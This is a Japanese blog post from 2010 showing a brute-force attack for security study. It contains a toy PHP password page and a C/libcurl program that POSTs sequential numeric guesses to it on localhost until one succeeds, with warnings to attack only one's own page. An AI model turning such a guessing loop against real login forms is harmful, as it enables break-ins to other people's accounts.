2010年6月25日金曜日
[C言語][cURL] 総当り攻撃(ブルートフォースアタック)の例
総当り攻撃(ブルートフォースアタック)とは?:
暗号解読方法のひとつで、可能な組み合わせを全て試すやり方。wikipedia参照
注意:
1.ご自身のページにアタックしてくだい。
2.簡単な作りになっているため、ご自分のページに合うように調整してください。
3.絶対に悪用しないでください。セキュリティの勉強用です。
cURLライブラリの使い方等は過去の記事をご覧ください。
//====================================
// Auth.php
//====================================
<?php
if($_POST['Auth'] === "12345"){
print("A".$_POST['Auth']);
}
?>
<form action="Auth.php" method="post">
<input type="password" name="Auth">
<input type="submit" value="send">
</form>
//====================================
// brute_force_attack.c
//====================================
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<curl/curl.h>
int flag;
size_t func(void *, size_t, size_t, void *);
int main(void){
char post[256];
size_t i = 0;
CURL * curl;
CURLcode res;
flag = 0;
curl = curl_easy_init();
while(1){
usleep(100);
sprintf(post, "Auth=%u", i);
curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/Auth.php");
/* POST METHOD Auth=[]を送る */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);
/* CALLBACK */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);
res = curl_easy_perform(curl);
printf("%u\r", i);
if(flag){
printf("\n");
break;
}
i++;
}
curl_easy_cleanup(curl);
return 0;
}
size_t func(void * ptr, size_t size, size_t nmemb, void * stream){
char str[65536];
memcpy(str, ptr, size * nmemb);
if(str[0] == 'A'){
flag = 1L;
return 0L;
}
return nmemb;
}
登録:
コメントの投稿 (Atom)
0 件のコメント:
コメントを投稿